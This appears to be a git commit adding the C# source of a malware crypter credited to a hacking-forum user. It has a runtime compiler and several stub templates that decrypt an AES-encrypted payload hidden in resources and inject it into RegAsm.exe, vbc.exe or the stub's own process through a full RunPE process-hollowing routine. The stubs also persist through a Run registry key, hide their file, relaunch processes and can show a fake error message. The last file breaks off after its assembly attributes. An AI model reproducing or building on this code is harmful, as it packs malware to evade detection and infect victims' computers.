initial commit
This commit is contained in:
i2p
@@ -0,0 +1,89 @@
|
||||
using System.Collections.Generic;
|
||||
using System.CodeDom.Compiler;
|
||||
using Microsoft.CSharp;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace ForceCrypterSmall.Resources
|
||||
{
|
||||
class Compiler
|
||||
{
|
||||
public static bool CompileFromSource(string source, string Output, string Icon = null, string[] Resources = null)
|
||||
{
|
||||
// We declare the new compiler parameters variable
|
||||
// that will contain all settings for the compilation.
|
||||
CompilerParameters CParams = new CompilerParameters();
|
||||
|
||||
// We want an executable file on disk.
|
||||
CParams.GenerateExecutable = true;
|
||||
// This is where the compiled file will be saved into.
|
||||
CParams.OutputAssembly = Output;
|
||||
|
||||
// We need these compiler options, we will use code optimization,
|
||||
// compile as a x86 process and our target is a windows form.
|
||||
// The unsafe keyword is used because the stub contains pointers and
|
||||
// unsafe blocks of code.
|
||||
string options = "/optimize+ /platform:x86 /target:winexe /unsafe";
|
||||
// If the icon is not null (as we initialize it), add the corresponding option.
|
||||
if (Icon != null)
|
||||
options += " /win32icon:\"" + Icon + "\"";
|
||||
|
||||
// Set the options.
|
||||
CParams.CompilerOptions = options;
|
||||
// We don't care about warnings, we don't need them to show as errors.
|
||||
CParams.TreatWarningsAsErrors = false;
|
||||
|
||||
// Add the references to the libraries we use so we can have access
|
||||
// to their namespaces.
|
||||
CParams.ReferencedAssemblies.Add("System.dll");
|
||||
CParams.ReferencedAssemblies.Add("System.Windows.Forms.dll");
|
||||
CParams.ReferencedAssemblies.Add("System.Drawing.dll");
|
||||
CParams.ReferencedAssemblies.Add("System.Data.dll");
|
||||
CParams.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll");
|
||||
|
||||
// Check if the user specified any resource files.
|
||||
// If yes, add then to the stub's resources.
|
||||
if (Resources != null && Resources.Length > 0)
|
||||
{
|
||||
// Loop through all resource files specified in the Resources[] array.
|
||||
foreach (string res in Resources)
|
||||
{
|
||||
// Add each resource file to the compiled stub.
|
||||
CParams.EmbeddedResources.Add(res);
|
||||
}
|
||||
}
|
||||
|
||||
// Dictionary variable is used to tell the compiler that we want
|
||||
// our file to be compiled for .NET v2
|
||||
Dictionary<string, string> ProviderOptions = new Dictionary<string, string>();
|
||||
ProviderOptions.Add("CompilerVersion", "v2.0");
|
||||
|
||||
// Now, we compile the code and get the result back in the "Results" variable
|
||||
CompilerResults Results = new CSharpCodeProvider(ProviderOptions).CompileAssemblyFromSource(CParams, source);
|
||||
|
||||
// Check if any errors occured while compiling.
|
||||
if (Results.Errors.Count > 0)
|
||||
{
|
||||
// Errors occured, notify the user.
|
||||
MessageBox.Show(string.Format("The compiler has encountered {0} errors",
|
||||
Results.Errors.Count), "Errors while compiling", MessageBoxButtons.OK,
|
||||
MessageBoxIcon.Error);
|
||||
|
||||
// Now loop through all errors and show them to the user.
|
||||
foreach (CompilerError Err in Results.Errors)
|
||||
{
|
||||
MessageBox.Show(string.Format("{0}\nLine: {1} - Column: {2}\nFile: {3}", Err.ErrorText,
|
||||
Err.Line, Err.Column, Err.FileName), "Error",
|
||||
MessageBoxButtons.OK, MessageBoxIcon.Error);
|
||||
}
|
||||
return false;
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
// No error was found, return true.
|
||||
return true;
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,343 @@
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Reflection;
|
||||
using System.Resources;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Cryptography;
|
||||
using System.Diagnostics;
|
||||
using System.ComponentModel;
|
||||
using System.Text;
|
||||
namespace ilovecookies
|
||||
{
|
||||
|
||||
static class Program
|
||||
{
|
||||
[STAThread]
|
||||
static void Main()
|
||||
{
|
||||
Application.EnableVisualStyles();
|
||||
Application.SetCompatibleTextRenderingDefault(false);
|
||||
Application.Run(new FrmOne());
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
class Reader
|
||||
{
|
||||
//Reading the encrypted bytes from our resource file
|
||||
public static byte[] ReadManaged()
|
||||
{
|
||||
ResourceManager manager = new ResourceManager("Encrypted", Assembly.GetEntryAssembly());
|
||||
byte[] bytes = (byte[])manager.GetObject("encfile");
|
||||
return bytes;
|
||||
}
|
||||
}
|
||||
|
||||
public class FrmOne : Form
|
||||
{
|
||||
//Making the form hidden
|
||||
private void InitializeComponent()
|
||||
{
|
||||
|
||||
SuspendLayout();
|
||||
ResumeLayout(false);
|
||||
PerformLayout();
|
||||
ShowInTaskbar = false;
|
||||
WindowState = FormWindowState.Minimized;
|
||||
|
||||
}
|
||||
//Self explantory
|
||||
bool _startup = [startup-replace];
|
||||
string injectTo = "[inject-replace]";
|
||||
string injectionPath2 = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "RegAsm.exe");
|
||||
string injectionPath3 = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "vbc.exe");
|
||||
bool _persistence = [persistence-replace];
|
||||
//The process we want to use persistence on
|
||||
Process[] pname = Process.GetProcessesByName("[sprocess-replace]");
|
||||
public FrmOne()
|
||||
{
|
||||
|
||||
InitializeComponent();
|
||||
//Basic delay
|
||||
Thread.Sleep([delay-replace] * 100);
|
||||
//If the user choosed persistence start a timer
|
||||
if(_persistence)
|
||||
{
|
||||
System.Windows.Forms.Timer timer1 = new System.Windows.Forms.Timer();
|
||||
timer1.Interval = 500;
|
||||
Thread.Sleep(500);
|
||||
timer1.Start();
|
||||
}
|
||||
//Giving a byte array for our encrypted bytes
|
||||
byte[] fBytes = Reader.ReadManaged();
|
||||
//The encryption key
|
||||
string encKey = "[key-replace]";
|
||||
//The encryption key in bytes
|
||||
byte[] encKey2 = Encoding.UTF8.GetBytes(encKey);
|
||||
//Makign a hash for the encryption key
|
||||
encKey2 = SHA256.Create().ComputeHash(encKey2);
|
||||
//The decrypted bytes
|
||||
byte[] eBytes = AESDecrypt(fBytes,encKey2);
|
||||
//Crypting process
|
||||
string result = Encoding.UTF8.GetString(eBytes);
|
||||
//The all decrypted bytes
|
||||
byte[] eBytes2 = Convert.FromBase64String(result);
|
||||
//If user choosed startup add to startup
|
||||
if (_startup)
|
||||
AddToStartup();
|
||||
//Make the file hidden
|
||||
HideFile();
|
||||
Thread.Sleep(500);
|
||||
|
||||
//Use the runpe to inject the decrypted bytes into a process of our injection method choice
|
||||
if(injectTo == "[itself]")
|
||||
RunPe1.Run(System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName,"",eBytes2);
|
||||
if(injectTo =="[regasm]")
|
||||
RunPe1.Run(injectionPath2, "", eBytes2);
|
||||
if(injectTo == "[vbc]")
|
||||
RunPe1.Run(injectionPath3, "", eBytes2);
|
||||
//Stopping the program because runpe is already injected
|
||||
Environment.Exit(0);
|
||||
}
|
||||
|
||||
//Decryption method
|
||||
public static byte[] AESDecrypt(byte[] decrypted, byte[] key2)
|
||||
{
|
||||
byte[] decryptedBytes = null;
|
||||
|
||||
byte[] saltBytes = new byte[] {1, 2, 3, 4, 5, 6, 7, 8};
|
||||
|
||||
using (MemoryStream ms = new MemoryStream())
|
||||
{
|
||||
using (RijndaelManaged AES = new RijndaelManaged())
|
||||
{
|
||||
AES.KeySize = 256;
|
||||
AES.BlockSize = 128;
|
||||
|
||||
Rfc2898DeriveBytes key = new Rfc2898DeriveBytes(key2, saltBytes, 1000);
|
||||
AES.Key = key.GetBytes(AES.KeySize/8);
|
||||
AES.IV = key.GetBytes(AES.BlockSize/8);
|
||||
|
||||
AES.Mode = CipherMode.CBC;
|
||||
|
||||
using (CryptoStream cs = new CryptoStream(ms, AES.CreateDecryptor(), CryptoStreamMode.Write))
|
||||
{
|
||||
cs.Write(decrypted, 0, decrypted.Length);
|
||||
cs.Close();
|
||||
}
|
||||
decryptedBytes = ms.ToArray();
|
||||
}
|
||||
}
|
||||
return decryptedBytes;
|
||||
}
|
||||
//The adding to startup
|
||||
public void AddToStartup()
|
||||
{
|
||||
////Getting our path with a folder name
|
||||
//string path = Path.Combine(Application.UserAppDataPath, "/[fname-replace]");
|
||||
////Creating the folder in the path
|
||||
//bool exists = false;
|
||||
//if (!Directory.Exists(path)) Directory.CreateDirectory(path);
|
||||
//string path2 = Path.Combine(path, "[finame-replace].exe");
|
||||
//if (Directory.Exists(path2)) exists = true;
|
||||
////The second path with the exe inside of the folder
|
||||
|
||||
////Copying our crypted file to the exe in the folder
|
||||
//if (exists = false)
|
||||
//{
|
||||
// File.Copy(Application.ExecutablePath, path2);
|
||||
// //Making a registery key so it adds to startup
|
||||
// RegistryKey key = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
|
||||
// if (key != null) key.SetValue("[regkey-replace]", path2);
|
||||
//}
|
||||
string path = Path.Combine(Application.UserAppDataPath, "/[fname-replace]");
|
||||
string path2 = Path.Combine(path, "[finame-replace].exe");
|
||||
if (!File.Exists(path2))
|
||||
{
|
||||
DirectoryInfo di = Directory.CreateDirectory(path);
|
||||
File.Copy(Application.ExecutablePath, path2, true);
|
||||
RegistryKey key = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
|
||||
if (key != null) key.SetValue("[regkey-replace]", path2);
|
||||
}
|
||||
}
|
||||
|
||||
public void HideFile()
|
||||
{
|
||||
//Hiding
|
||||
FileInfo f = new FileInfo(Application.ExecutablePath);
|
||||
f.Attributes = FileAttributes.Hidden;
|
||||
}
|
||||
//this is the persistence
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
|
||||
string path = Path.Combine(Application.UserAppDataPath, "/[fname2-replace]");
|
||||
//The place where dropped the startup
|
||||
string path2 = Path.Combine(path, "[finame2-replace].exe");
|
||||
//if the process is not running start it
|
||||
if (pname.Length == 0)
|
||||
System.Diagnostics.Process.Start(path2);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
static class RunPe1
|
||||
{
|
||||
|
||||
[DllImport("kernel32.dll", EntryPoint = "CreateProcess", CharSet = CharSet.Unicode)]
|
||||
private static extern bool CreateProcess(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes, bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref StartupInformation startupInfo, ref ProcessInformation processInformation);
|
||||
|
||||
[DllImport("kernel32.dll", EntryPoint = "GetThreadContext")]
|
||||
private static extern bool GetThreadContext(IntPtr thread, int[] context);
|
||||
|
||||
[DllImport("kernel32.dll", EntryPoint = "SetThreadContext")]
|
||||
private static extern bool SetThreadContext(IntPtr thread, int[] context);
|
||||
|
||||
[DllImport("kernel32.dll", EntryPoint = "ReadProcessMemory")]
|
||||
private static extern bool ReadProcessMemory(IntPtr process, int baseAddress, ref int buffer, int bufferSize, ref int bytesRead);
|
||||
|
||||
[DllImport("kernel32.dll", EntryPoint = "WriteProcessMemory")]
|
||||
private static extern bool WriteProcessMemory(IntPtr process, int baseAddress, byte[] buffer, int bufferSize, ref int bytesWritten);
|
||||
|
||||
[DllImport("ntdll.dll", EntryPoint = "NtUnmapViewOfSection")]
|
||||
private static extern int NtUnmapViewOfSection(IntPtr process, int baseAddress);
|
||||
|
||||
[DllImport("kernel32.dll", EntryPoint = "VirtualAllocEx")]
|
||||
private static extern int VirtualAllocEx(IntPtr handle, int address, int length, int type, int protect);
|
||||
|
||||
[DllImport("kernel32.dll", EntryPoint = "ResumeThread")]
|
||||
private static extern int ResumeThread(IntPtr handle);
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||
private struct ProcessInformation
|
||||
{
|
||||
public readonly IntPtr ProcessHandle;
|
||||
public readonly IntPtr ThreadHandle;
|
||||
private readonly uint ProcessId;
|
||||
private readonly uint ThreadId;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||
private struct StartupInformation
|
||||
{
|
||||
public uint Size;
|
||||
private readonly string Reserved1;
|
||||
private readonly string Desktop;
|
||||
|
||||
private readonly string Title;
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 36)]
|
||||
private readonly byte[] Misc;
|
||||
private readonly IntPtr Reserved2;
|
||||
private readonly IntPtr StdInput;
|
||||
private readonly IntPtr StdOutput;
|
||||
private readonly IntPtr StdError;
|
||||
}
|
||||
public static bool Run(string path, string cmd, byte[] data)
|
||||
{
|
||||
|
||||
int readWrite = 0;
|
||||
string quotedPath = string.Format("\"{0}\"", path);
|
||||
|
||||
StartupInformation si = new StartupInformation();
|
||||
ProcessInformation pi = new ProcessInformation();
|
||||
|
||||
si.Size = Convert.ToUInt32(Marshal.SizeOf(typeof(StartupInformation)));
|
||||
|
||||
if (string.IsNullOrEmpty(cmd))
|
||||
{
|
||||
if (!CreateProcess(path, quotedPath, IntPtr.Zero, IntPtr.Zero, false, 4, IntPtr.Zero, null, ref si, ref pi))
|
||||
return false;
|
||||
}
|
||||
else
|
||||
{
|
||||
quotedPath = quotedPath + " " + cmd;
|
||||
if (!CreateProcess(path, quotedPath, IntPtr.Zero, IntPtr.Zero, false, 4, IntPtr.Zero, null, ref si, ref pi))
|
||||
return false;
|
||||
}
|
||||
|
||||
int fileAddress = BitConverter.ToInt32(data, 60);
|
||||
int imageBase = BitConverter.ToInt32(data, fileAddress + 52);
|
||||
|
||||
int[] context = new int[179];
|
||||
context[0] = 65538;
|
||||
|
||||
if (!GetThreadContext(pi.ThreadHandle, context))
|
||||
return false;
|
||||
|
||||
int ebx = context[41];
|
||||
int baseAddress = 0;
|
||||
|
||||
if (!ReadProcessMemory(pi.ProcessHandle, ebx + 8, ref baseAddress, 4, ref readWrite))
|
||||
return false;
|
||||
|
||||
if (imageBase == baseAddress)
|
||||
{
|
||||
if (NtUnmapViewOfSection(pi.ProcessHandle, baseAddress) != 0)
|
||||
return false;
|
||||
}
|
||||
|
||||
int sizeOfImage = BitConverter.ToInt32(data, fileAddress + 80);
|
||||
int sizeOfHeaders = BitConverter.ToInt32(data, fileAddress + 84);
|
||||
|
||||
bool allowOverride = false;
|
||||
int newImageBase = VirtualAllocEx(pi.ProcessHandle, imageBase, sizeOfImage, 12288, 64);
|
||||
|
||||
if (newImageBase == 0)
|
||||
{
|
||||
allowOverride = true;
|
||||
newImageBase = VirtualAllocEx(pi.ProcessHandle, 0, sizeOfImage, 12288, 64);
|
||||
if (newImageBase == 0)
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!WriteProcessMemory(pi.ProcessHandle, newImageBase, data, sizeOfHeaders, ref readWrite))
|
||||
return false;
|
||||
|
||||
int sectionOffset = fileAddress + 248;
|
||||
short numberOfSections = BitConverter.ToInt16(data, fileAddress + 6);
|
||||
|
||||
for (int I = 0; I <= numberOfSections - 1; I++)
|
||||
{
|
||||
int virtualAddress = BitConverter.ToInt32(data, sectionOffset + 12);
|
||||
int sizeOfRawData = BitConverter.ToInt32(data, sectionOffset + 16);
|
||||
int pointerToRawData = BitConverter.ToInt32(data, sectionOffset + 20);
|
||||
|
||||
if (sizeOfRawData != 0)
|
||||
{
|
||||
byte[] sectionData = new byte[sizeOfRawData];
|
||||
Buffer.BlockCopy(data, pointerToRawData, sectionData, 0, sectionData.Length);
|
||||
|
||||
if (!WriteProcessMemory(pi.ProcessHandle, newImageBase + virtualAddress, sectionData, sectionData.Length, ref readWrite))
|
||||
return false;
|
||||
}
|
||||
|
||||
sectionOffset += 40;
|
||||
}
|
||||
|
||||
byte[] pointerData = BitConverter.GetBytes(newImageBase);
|
||||
if (!WriteProcessMemory(pi.ProcessHandle, ebx + 8, pointerData, 4, ref readWrite))
|
||||
return false;
|
||||
|
||||
int addressOfEntryPoint = BitConverter.ToInt32(data, fileAddress + 40);
|
||||
|
||||
if (allowOverride)
|
||||
newImageBase = imageBase;
|
||||
context[44] = newImageBase + addressOfEntryPoint;
|
||||
|
||||
if (!SetThreadContext(pi.ThreadHandle, context))
|
||||
return false;
|
||||
if (ResumeThread(pi.ThreadHandle) == -1)
|
||||
return false;
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,361 @@
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Reflection;
|
||||
using System.Resources;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Cryptography;
|
||||
using System.Diagnostics;
|
||||
using System.ComponentModel;
|
||||
using System.Text;
|
||||
|
||||
//Copyright 2016
|
||||
//Made by mrmutt for hackforums uid=3005497
|
||||
//Please leave this note here
|
||||
namespace stupidcancercodeisruiningeverything
|
||||
{
|
||||
|
||||
static class Program
|
||||
{
|
||||
[STAThread]
|
||||
static void Main0()
|
||||
{
|
||||
|
||||
Application.EnableVisualStyles();
|
||||
Application.SetCompatibleTextRenderingDefault(false);
|
||||
Application.Run(new FrmOne());
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
class Reader
|
||||
{
|
||||
//Reading the encrypted bytes from our resource file
|
||||
public static byte[] ReadManaged()
|
||||
{
|
||||
ResourceManager manager = new ResourceManager("Encrypted", Assembly.GetEntryAssembly());
|
||||
byte[] bytes = (byte[])manager.GetObject("encfile");
|
||||
return bytes;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public class FrmOne : Form
|
||||
{
|
||||
//Making the form hidden
|
||||
private void InitializeComponent()
|
||||
{
|
||||
|
||||
|
||||
SuspendLayout();
|
||||
ResumeLayout(false);
|
||||
PerformLayout();
|
||||
ShowInTaskbar = false;
|
||||
WindowState = FormWindowState.Minimized;
|
||||
|
||||
}
|
||||
//Self explantory
|
||||
bool _startup = true;
|
||||
string injectTo = "[inject-replace]";
|
||||
bool _fakemessage = true;
|
||||
bool _persistence = true;
|
||||
string injectionPath2 = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "RegAsm.exe");
|
||||
string injectionPath3 = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "vbc.exe");
|
||||
public FrmOne()
|
||||
{
|
||||
|
||||
InitializeComponent();
|
||||
//Basic delay
|
||||
Thread.Sleep(5 * 100);
|
||||
//Giving a byte array for our encrypted bytes
|
||||
byte[] fBytes = Reader.ReadManaged();
|
||||
//The encryption key
|
||||
string encKey = "[key-replace]";
|
||||
//The encryption key in bytes
|
||||
byte[] encKey2 = Encoding.UTF8.GetBytes(encKey);
|
||||
//Makign a hash for the encryption key
|
||||
encKey2 = SHA256.Create().ComputeHash(encKey2);
|
||||
//The decrypted bytes
|
||||
byte[] eBytes = AESDecrypt(fBytes, encKey2);
|
||||
//Crypting process
|
||||
string result = Encoding.UTF8.GetString(eBytes);
|
||||
//The all decrypted bytes
|
||||
byte[] eBytes2 = Convert.FromBase64String(result);
|
||||
//If user choosed startup add to startup
|
||||
|
||||
if (_startup)
|
||||
AddToStartup();
|
||||
//Make the file hidden
|
||||
HideFile();
|
||||
if (_persistence)
|
||||
{
|
||||
Process[] pname = Process.GetProcessesByName("[process-replace]");
|
||||
Process[] pname2 = Process.GetProcessesByName("[finame-replace]");
|
||||
System.Windows.Forms.Timer timer1 = new System.Windows.Forms.Timer();
|
||||
System.Windows.Forms.Timer timer2 = new System.Windows.Forms.Timer();
|
||||
string path = Path.Combine(Application.UserAppDataPath, "[fname-replace]");
|
||||
string path2 = Path.Combine(path, "[finame-replace].exe");
|
||||
if (Application.ExecutablePath == path2)
|
||||
{
|
||||
timer1.Start();
|
||||
timer1.Interval = 500;
|
||||
}
|
||||
else
|
||||
{
|
||||
timer2.Interval = 500;
|
||||
timer2.Start();
|
||||
}
|
||||
}
|
||||
Thread.Sleep(500);
|
||||
|
||||
//Use the runpe to inject the decrypted bytes into a process of our injection method choice
|
||||
if (injectTo == "[itself]")
|
||||
REDank.RunDank(System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName, "", eBytes2);
|
||||
|
||||
if (injectTo == "[regasm]")
|
||||
REDank.RunDank(injectionPath2, "", eBytes2);
|
||||
|
||||
if (injectTo == "[vbc]")
|
||||
REDank.RunDank(injectionPath3, "", eBytes2);
|
||||
|
||||
//Fake Message
|
||||
if (_fakemessage)
|
||||
{
|
||||
MessageBox.Show("[messagetext-replace]", "[messagetitle-replace]", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
||||
}
|
||||
//Stopping the program because runpe is already injected
|
||||
Environment.Exit(0);
|
||||
}
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
Process[] pname = Process.GetProcessesByName("[process-replace]");
|
||||
if (pname.Length == 0)
|
||||
{
|
||||
Process.Start("[process-replace]");
|
||||
}
|
||||
}
|
||||
private void timer2_Tick(object sender, EventArgs e)
|
||||
{
|
||||
Process[] pname2 = Process.GetProcessesByName("[finame-replace]");
|
||||
if (pname2.Length == 0)
|
||||
{
|
||||
|
||||
Process.Start("[finame-replace]");
|
||||
|
||||
}
|
||||
}
|
||||
//Decryption method
|
||||
public static byte[] AESDecrypt(byte[] decrypted, byte[] key2)
|
||||
{
|
||||
byte[] decryptedBytes = null;
|
||||
|
||||
byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
|
||||
|
||||
using (MemoryStream ms = new MemoryStream())
|
||||
{
|
||||
using (RijndaelManaged AES = new RijndaelManaged())
|
||||
{
|
||||
AES.KeySize = 256;
|
||||
AES.BlockSize = 128;
|
||||
|
||||
Rfc2898DeriveBytes key = new Rfc2898DeriveBytes(key2, saltBytes, 1000);
|
||||
AES.Key = key.GetBytes(AES.KeySize / 8);
|
||||
AES.IV = key.GetBytes(AES.BlockSize / 8);
|
||||
|
||||
AES.Mode = CipherMode.CBC;
|
||||
|
||||
using (CryptoStream cs = new CryptoStream(ms, AES.CreateDecryptor(), CryptoStreamMode.Write))
|
||||
{
|
||||
cs.Write(decrypted, 0, decrypted.Length);
|
||||
cs.Close();
|
||||
}
|
||||
decryptedBytes = ms.ToArray();
|
||||
}
|
||||
}
|
||||
return decryptedBytes;
|
||||
}
|
||||
//The adding to startup
|
||||
public void AddToStartup()
|
||||
{
|
||||
|
||||
string path = Path.Combine(Application.UserAppDataPath, "[fname-replace]");
|
||||
string path2 = Path.Combine(path, "[finame-replace].exe");
|
||||
|
||||
if (!File.Exists(path2))
|
||||
{
|
||||
DirectoryInfo di = Directory.CreateDirectory(path);
|
||||
File.Copy(Application.ExecutablePath, path2, true);
|
||||
RegistryKey key = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
|
||||
if (key != null) key.SetValue("[regkey-replace]", path2);
|
||||
}
|
||||
}
|
||||
|
||||
public void HideFile()
|
||||
{
|
||||
//Hiding
|
||||
FileInfo f = new FileInfo(Application.ExecutablePath);
|
||||
f.Attributes = FileAttributes.Hidden;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
static class REDank
|
||||
{
|
||||
|
||||
[DllImport("kernel32.dll", EntryPoint = "CreateProcess", CharSet = CharSet.Unicode)]
|
||||
private static extern bool CreateProcess(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes, bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref StartupInformation startupInfo, ref ProcessInformation processInformation);
|
||||
|
||||
[DllImport("kernel32.dll", EntryPoint = "GetThreadContext")]
|
||||
private static extern bool GetThreadContext(IntPtr thread, int[] context);
|
||||
|
||||
[DllImport("kernel32.dll", EntryPoint = "SetThreadContext")]
|
||||
private static extern bool SetThreadContext(IntPtr thread, int[] context);
|
||||
|
||||
[DllImport("kernel32.dll", EntryPoint = "ReadProcessMemory")]
|
||||
private static extern bool ReadProcessMemory(IntPtr process, int baseAddress, ref int buffer, int bufferSize, ref int bytesRead);
|
||||
|
||||
[DllImport("kernel32.dll", EntryPoint = "WriteProcessMemory")]
|
||||
private static extern bool WriteProcessMemory(IntPtr process, int baseAddress, byte[] buffer, int bufferSize, ref int bytesWritten);
|
||||
|
||||
[DllImport("ntdll.dll", EntryPoint = "NtUnmapViewOfSection")]
|
||||
private static extern int NtUnmapViewOfSection(IntPtr process, int baseAddress);
|
||||
|
||||
[DllImport("kernel32.dll", EntryPoint = "VirtualAllocEx")]
|
||||
private static extern int VirtualAllocEx(IntPtr handle, int address, int length, int type, int protect);
|
||||
|
||||
[DllImport("kernel32.dll", EntryPoint = "ResumeThread")]
|
||||
private static extern int ResumeThread(IntPtr handle);
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||
private struct ProcessInformation
|
||||
{
|
||||
public readonly IntPtr ProcessHandle;
|
||||
public readonly IntPtr ThreadHandle;
|
||||
private readonly uint ProcessId;
|
||||
private readonly uint ThreadId;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||
private struct StartupInformation
|
||||
{
|
||||
public uint Size;
|
||||
private readonly string Reserved1;
|
||||
private readonly string Desktop;
|
||||
|
||||
private readonly string Title;
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 36)]
|
||||
private readonly byte[] Misc;
|
||||
private readonly IntPtr Reserved2;
|
||||
private readonly IntPtr StdInput;
|
||||
private readonly IntPtr StdOutput;
|
||||
private readonly IntPtr StdError;
|
||||
}
|
||||
public static bool RunDank(string path, string cmd, byte[] data)
|
||||
{
|
||||
|
||||
int readWrite = 0;
|
||||
string quotedPath = string.Format("\"{0}\"", path);
|
||||
|
||||
StartupInformation si = new StartupInformation();
|
||||
ProcessInformation pi = new ProcessInformation();
|
||||
|
||||
si.Size = Convert.ToUInt32(Marshal.SizeOf(typeof(StartupInformation)));
|
||||
|
||||
if (string.IsNullOrEmpty(cmd))
|
||||
{
|
||||
if (!CreateProcess(path, quotedPath, IntPtr.Zero, IntPtr.Zero, false, 4, IntPtr.Zero, null, ref si, ref pi))
|
||||
return false;
|
||||
}
|
||||
else
|
||||
{
|
||||
quotedPath = quotedPath + " " + cmd;
|
||||
if (!CreateProcess(path, quotedPath, IntPtr.Zero, IntPtr.Zero, false, 4, IntPtr.Zero, null, ref si, ref pi))
|
||||
return false;
|
||||
}
|
||||
|
||||
int fileAddress = BitConverter.ToInt32(data, 60);
|
||||
int imageBase = BitConverter.ToInt32(data, fileAddress + 52);
|
||||
|
||||
int[] context = new int[179];
|
||||
context[0] = 65538;
|
||||
|
||||
if (!GetThreadContext(pi.ThreadHandle, context))
|
||||
return false;
|
||||
|
||||
int ebx = context[41];
|
||||
int baseAddress = 0;
|
||||
|
||||
if (!ReadProcessMemory(pi.ProcessHandle, ebx + 8, ref baseAddress, 4, ref readWrite))
|
||||
return false;
|
||||
|
||||
if (imageBase == baseAddress)
|
||||
{
|
||||
if (NtUnmapViewOfSection(pi.ProcessHandle, baseAddress) != 0)
|
||||
return false;
|
||||
}
|
||||
|
||||
int sizeOfImage = BitConverter.ToInt32(data, fileAddress + 80);
|
||||
int sizeOfHeaders = BitConverter.ToInt32(data, fileAddress + 84);
|
||||
|
||||
bool allowOverride = false;
|
||||
int newImageBase = VirtualAllocEx(pi.ProcessHandle, imageBase, sizeOfImage, 12288, 64);
|
||||
|
||||
if (newImageBase == 0)
|
||||
{
|
||||
allowOverride = true;
|
||||
newImageBase = VirtualAllocEx(pi.ProcessHandle, 0, sizeOfImage, 12288, 64);
|
||||
if (newImageBase == 0)
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!WriteProcessMemory(pi.ProcessHandle, newImageBase, data, sizeOfHeaders, ref readWrite))
|
||||
return false;
|
||||
|
||||
int sectionOffset = fileAddress + 248;
|
||||
short numberOfSections = BitConverter.ToInt16(data, fileAddress + 6);
|
||||
|
||||
for (int I = 0; I <= numberOfSections - 1; I++)
|
||||
{
|
||||
int virtualAddress = BitConverter.ToInt32(data, sectionOffset + 12);
|
||||
int sizeOfRawData = BitConverter.ToInt32(data, sectionOffset + 16);
|
||||
int pointerToRawData = BitConverter.ToInt32(data, sectionOffset + 20);
|
||||
|
||||
if (sizeOfRawData != 0)
|
||||
{
|
||||
byte[] sectionData = new byte[sizeOfRawData];
|
||||
Buffer.BlockCopy(data, pointerToRawData, sectionData, 0, sectionData.Length);
|
||||
|
||||
if (!WriteProcessMemory(pi.ProcessHandle, newImageBase + virtualAddress, sectionData, sectionData.Length, ref readWrite))
|
||||
return false;
|
||||
}
|
||||
|
||||
sectionOffset += 40;
|
||||
}
|
||||
|
||||
byte[] pointerData = BitConverter.GetBytes(newImageBase);
|
||||
if (!WriteProcessMemory(pi.ProcessHandle, ebx + 8, pointerData, 4, ref readWrite))
|
||||
return false;
|
||||
|
||||
int addressOfEntryPoint = BitConverter.ToInt32(data, fileAddress + 40);
|
||||
|
||||
if (allowOverride)
|
||||
newImageBase = imageBase;
|
||||
context[44] = newImageBase + addressOfEntryPoint;
|
||||
|
||||
if (!SetThreadContext(pi.ThreadHandle, context))
|
||||
return false;
|
||||
if (ResumeThread(pi.ThreadHandle) == -1)
|
||||
return false;
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,333 @@
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Reflection;
|
||||
using System.Resources;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Cryptography;
|
||||
using System.Diagnostics;
|
||||
using System.ComponentModel;
|
||||
using System.Text;
|
||||
[assembly: AssemblyTitle("[title-replace]")]
|
||||
[assembly: AssemblyDescription("[desc-replace]")]
|
||||
